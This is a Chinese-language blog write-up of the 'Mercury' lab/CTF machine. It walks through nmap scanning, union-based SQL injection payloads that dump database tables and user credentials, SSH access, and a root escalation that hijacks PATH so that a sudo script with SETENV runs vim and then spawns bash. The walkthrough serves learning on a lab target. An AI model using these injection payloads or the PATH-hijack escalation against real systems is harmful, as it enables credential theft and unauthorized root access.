Mercury

一、信息收集

1
2
3
sudo nmap --min-rate 10000 -p- 192.168.1.108
sudo nmap -sT -sC -sV -O -p22,8080 192.168.1.108
#8080 是python的

8080访问,dirb,半天都没有路径出来

考虑udp端口

1
sudo nmap -sU --min-rate 10000 --top-ports 20 192.168.1.108

tftp存在,但现在没用,不知道有什么文件

好,路径扫完了,就一个robots.txt

那我尝试搜一下wsgi服务器的路径,我能看到一个django sql注入,我尝试输入一个路径名为vuln

好,它报错,而且指明了路径

http://192.168.1.108:8080/mercuryfacts/

二、SQL注入

点第一个链接,发现内容如下:

image-20231130221800220

这个数字有意思,可以换,退后,我要开始SQL注入了

单引号,好好好,sql语句报错

这就是我实际src中遇不到的SQL注入吗

1
2
3
4
5
6
7
8
9
10
11
12
#数字型注入 
1 and true#正常
1 and false#错误
#order by 1 #就1?
#数据库名
-6%20union%20select%20database()/ #mercury
#爆表名
-6 union select (select group_concat(table_name) from information_schema.tables where table_schema=database())/#facts,users'
#爆列名
-6 union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')/#'id,username,password
#爆字段内容
-6 union select (select group_concat(username,0x7e,password) from mercury.users)/

三、ssh连接

emmm我选的最后一个的进行ssh连接,直觉

找找当前文件夹下及附近,的文件内容之类的

cd home,发现只有三个用户,其它两个就是mercury和linuxmaster,

将上面的base64解码一下

四、切换shell

sudo -l,发现了一个sh文件

好好好,没有可写权限

剩下的uname、find / -perm、crontab啊,没有特别的

请出杀手锏!!!!

1
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null 

emmm,筛选完后没别的东西了诶

你这样的话,我想知道SQL注入时是否有其它数据库了,或者直接在终端中找mysql敏感数据,没找到,直接去web找吧

1
-6 union select (select group_concat(schema_name) from information_schema.schemata)/ #还就只有mercury诶

那怎么办啊

回到sudo -l

(root : root) SETENV: 这个百度一下

setenv

Linux中的功能:查询或显示环境变量
语法:setenv [变量名称] [变量值]

五、sudo+环境变量提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#第一步,将vim重命名为tail,到tmp文件夹下
cp /usr/bin/vim /tmp/tail
#第二步,将tmp文件夹添加到环境之前
export PATH=/tmp:$PATH #这样系统寻找指令优先去最前面的找
#第三步执行
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
或者sudo PATH=$PATH /usr/bin/check_syslog.sh
在vim里,输入:!bash,即可


#第三步软链接也可以
ln s /bin/vi tail

#补充,查看当前环境变量 echo $PATH

总结

我总感觉这个提权似曾相识,以前不理解,现在大致会了,其目的就是将那个脚本里执行的tail命令,想办法让它执行vim或者vi命令,所以这个就需要设置环境变量,进而变为经典的sudo vim提权

  1. 8080端口,路径报错,提供路径信息
  2. SQL注入获得ssh凭证->敏感数据得到->另一个shell凭证
  3. sudo+环境变量提权
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信